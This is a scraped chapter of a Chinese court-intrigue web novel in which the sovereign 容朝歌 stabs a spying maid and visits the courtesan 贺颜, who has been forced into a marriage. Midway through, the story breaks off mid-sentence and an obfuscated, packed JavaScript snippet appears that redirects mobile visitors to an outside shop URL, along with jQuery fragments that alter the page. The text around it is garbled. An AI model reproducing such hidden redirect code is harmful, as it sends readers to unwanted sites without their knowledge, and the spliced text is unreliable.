默认冷灰
24号文字
方正启体

25. 宫妃

作者:只许人间本书字数:K更新时间:
    容朝歌抬起眼眸,神色认真而又带着锋利。她平日里漫不经心惯了,尤其是对着朋友,向来是未语先笑。如今凤眸闪过寒光,犹如即将出刃的剑,实实在在让鸩羽一愣,不知怎的竟是心虚起来。


    鸩羽咽了咽口水,避开她的眼睛:“今天一早,小太监来宣读旨意,我还纳闷呢。原来是太后娘娘亲自为贺颜赐婚,将他许配给了卫家幺女做个侍君。女君,此事妾身也是意料之外。”


    “不过卫家幺女身份尊贵,以他的身份能嫁进府中做个侍君,也算是福气了。若是将来能诞下个女儿,说不定也能扶成侧君……”


    容朝歌心里冷笑,汝之蜜糖,彼之砒霜。她唇角却是微微勾起了一个弧度,打断了她的自言自语:“那可真是巧了。昨日我不过是见了贺颜,略略聊了几句,今儿他就要被赶出寻芳楼了。”


    鸩羽面色尴尬,绞着手指:“女君,您实在是多心了。贺颜是我们寻芳楼的头牌,过两日就要采选了,我出于私心也不希望他这时候嫁人啊。”


    容朝歌想起昨日几个男孩子心心念念想要赎身,却被嬷嬷教训一顿,不由得冷笑连连。


    你确实不希望他这时候嫁人,但比起他逃了跑了血本无归,你倒是宁可在皇家身上做个人情吧。


    容朝歌微微蹙眉,故作叹息一声:“本君好不容易有个聊得来的人,没想到一夜之间却成了待嫁之人。本君与他投缘,也并无男女私情,还请姑姑准许我再探望一次。”


    鸩羽抿了抿唇,四处张望见无人,露出一丝难为的笑来:“女君,您还是莫要为难妾身,也莫要为难贺颜了。他亲手接下圣旨的那一刻,就是卫家夫,您再去探望他,不光是落人口舌,也落了卫家的面子啊。”


    “不过您是国君,太后娘娘虽是您的父亲,到底君臣有别。这其中若是有什么误会,您与太后娘娘一叙便知了。”


    鸩羽点到即止,容朝歌又何尝不晓得。


    容朝歌开口问道:“哪日的婚期?二人曾经莫非是有些纠葛?不然太后娘娘怎么会给她俩赐婚?”


    鸩羽摇头道:“卫三娘子是卫家唯一的女孩,前些日子突然染了病,身子不太好了。卫家恳求太后赐婚,一来是冲喜,二来是希望能延续血脉。地位相当的公子,谁愿意淌这趟混水?如此一来,只能从我这寻芳楼里挑了。”


    “婚期就在今日申时,确实有些赶了,不过谁又能保证卫三娘子还能活多久?这多一日都等不得了。”


    容朝歌嘴角浮起一丝嘲弄来:“太后倒是善心,这种婚事也赐。”


    鸩羽明显不太像继续这个话题了,四下瞥了一眼,借准备嫁妆之事,行礼告退。


    容朝歌穿过院落,停下脚步。几个杂役仆从正在窃窃私语,声音不大不小,刚好落在她耳朵里。


    “贺公子马上要嫁人了。听说是太后亲自下旨,嫁给卫家三娘子冲喜呢。”


    “啊?就是那个卫家幺女?我听说她是家里唯一的女孩,从小就被惯坏了。长大了更是风流成瘾,跟好几个男的不清不楚。染上了那种病,现在成天卧在塌上,身上流脓呢!”


    “真是可怜贺公子了。嫁到那种水深火热的人家,若是没有诞下个一儿半女,以后还要给这种妻主陪葬。”


    “唉,谁让我们男孩子生来命贱。卫家仗着自己是太后母家,作威作福。真是可怜了贺公子,采选前夕竟然遇上这种事,也是倒霉。”


    话语戛然而止,似乎是嘴被捂住,硬生生拖走了。


    容朝歌偏头看了一眼,身旁的婢女低眉顺目,恭敬极了:“国君,此人妄议皇家,罪该万死。”


    容朝歌面色温和:“那依你所看,贺颜该不该嫁到卫家?”


    婢女答:“太后娘娘下旨,贺公子也接旨了,自然应该嫁。”


    容朝歌面色温和不减:“若本君说不同意他嫁,那他该不该嫁?”


    婢女眼中闪过慌乱,跪地恳求:“请女君三思。贺颜本就是一个寻芳楼头牌罢了,无权无势,只是有些许姿色罢了。太后娘娘一向与您情谊深厚,怎能因为这种蓝颜祸水毁于一旦呢。”


    容朝歌点了点头:“是啊,太后娘娘一向与我情谊深厚。”


    婢女似乎松了口气,正准备抬头起身,身子却一下子僵直了。


    她低下头,看见自己胸口被利剑刺穿,涌出汩汩的鲜血,依旧是一脸错愕与不敢置信。


    容朝歌收回剑,漫不经心地用手帕擦拭,末了,将血迹斑斑的手帕丢在了她脸上,补全了未来得及说完的半句话。


    “情谊深厚到将眼线安排在我身边十几年,处处监视着我。”


    吃里扒外也就罢了,胆敢随意滥权,用其他人来威胁她,她可不会惯着。正好借此机会,杀鸡儆猴。


    她敲打鸩羽一番,但她也不得不承认鸩羽说的有道理。贺颜被迫嫁人,其中太后的因素必然更大。


    想起那个在寿康宫袅袅檀香中端坐的温和男子,她心里疑惑重重。但兵来将挡,她现在并不怕他犯难,她只怕七天时间不够用。


    她在剩余婢女瑟瑟的眼神中,漠然上了马车。


    马车一路晃晃悠悠,容朝歌在神不知鬼不觉之下,一翻身下了车,正好落在了寻芳楼后院不远处。


    她身子格外轻盈,一身白衣在雪地里犹如一只灵巧的狐,翻身落到了后院。她轻轻嗅闻,很快就找到了贺颜所在之处。


    没有张灯结彩的喜气洋洋,倒是有三四个人在周围转悠,像是监视犯人。若不是容朝歌知晓赐婚之事,怕是要以为贺颜犯了什么大错被关起来了。


    几个npc哪里难的倒她,趁着几人交换的间隙,她一溜烟钻进了屋里。


    贺颜听见动静,猛地起身,却见是容朝歌,霎那间未语泪先流。


    “姐姐?”


    他似惊似喜,眼中似乎突然有了光。可余光瞥到屋外巡视之人的影子,他又慌忙背过身,遮住容朝歌。


    “什么动静?贺公子?”


    贺颜应了一声,三两句打消了外面人进来的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962865|192200||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    念头。


    他擦了擦眼睛,努力让自己看起来不那么失态,才接过容朝歌身上的狐裘,挂在一旁:“姐姐,你怎么来了?”


    容朝歌望着他通红的眼眶,叹了口气:“来看看你,今日一别,怕是日后没有相见的机会了。”


    贺颜垂下头,轻声:“姐姐都知道了?”


    显而易见。容朝歌不答反问:“你愿意嫁吗?”


    贺颜似乎浑身一颤,缓缓抬起头,蓄满泪水的眼再也承受不住,晶莹的泪珠滚落。


    他声音颤抖,如同春寒料峭间最脆弱的花枝,在寒风一吹之间簌簌落下的花瓣。


    “姐姐问我愿不愿意嫁?我何来的意愿?太后懿旨,我不接也得接。攒足的赎身金银在那一刻都成了最没用的废物,我却不敢有一丝一毫的怨怼。因为那是天家许我的恩赐。”


    他眼眶通红,十余年从未有过一丝一毫的懈怠如今成了罪孽的根源。他却不敢崩溃,不敢让人发现他有怨念。若是失了男德,他这辈子都毁了。


    他轻声:“昨天我看到姐姐了。不过姐姐放心,我谁也不会说的。我还看到了那些一心赎身出去的弟兄,姑姑表面上将他们放走了,实际刚出后门没多久,就被残忍地杀害了。”


    进了寻芳楼,就别想出去了。他在那一刻才明白自己有多么天真,害了多少弟兄。


    “说到底,是我一直痴心妄想了。”容朝歌望着他通红的眼眸,耳边响起他放大的心声。那声音饱含血泪,不敢说,不能说,绝望而又痛苦。


    容朝歌有些无措。她虽然有所预料,但真相摆在面前也让她不得不佩服鸩羽手段狠辣。


    看着他默默垂泪,她突然意识到自己最近似乎耐心好了许多。就像是一团乱的毛线。若放在以前,她定然是暴力拆解,一剪子下去全是断掉的线头了。如今,她竟然开始愿意试着去找线头,再一点一点解开。


    但这并不意味她是个很有耐心,善良的人。她只是完成自己的任务,她对拯救每个人并没有兴趣。


    她揉了揉太阳穴,尽可能让自己看起来温和无害一些。她费劲来此,也并非是要听贺颜诉苦的。见贺颜已经十分失态,时间紧急,她也不愿再兜圈子,干脆单刀直入。


    “说起来,我想问问你知不知道寻芳楼上一届头牌的嫁去哪里了?我曾经有幸见过他一面,后来就再也没消息了。”容朝歌试探地问道。


    昨日雪地里,嬷嬷提到“我看你们都忘了上一届头牌是怎么死的了”,她敏锐地决定其中必有不寻常之处。


    寻芳楼之内,知道的人不少,但必然是三缄其口。想要获得突破,只能从贺颜入手了。


    贺颜神色不变,扯了扯嘴角,露出一丝古怪的笑容来:“姐姐是问岑洛哥啊?”


    “一开始大家都说他好福气,遇到良人,接他到宫里去享福,做娘娘呢。”


    “可后来,也是这么冷的日子,我偷偷翻开了裹着他的草席。可怜当年那么风光无限的一个人,死后竟然尸骨都不全。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)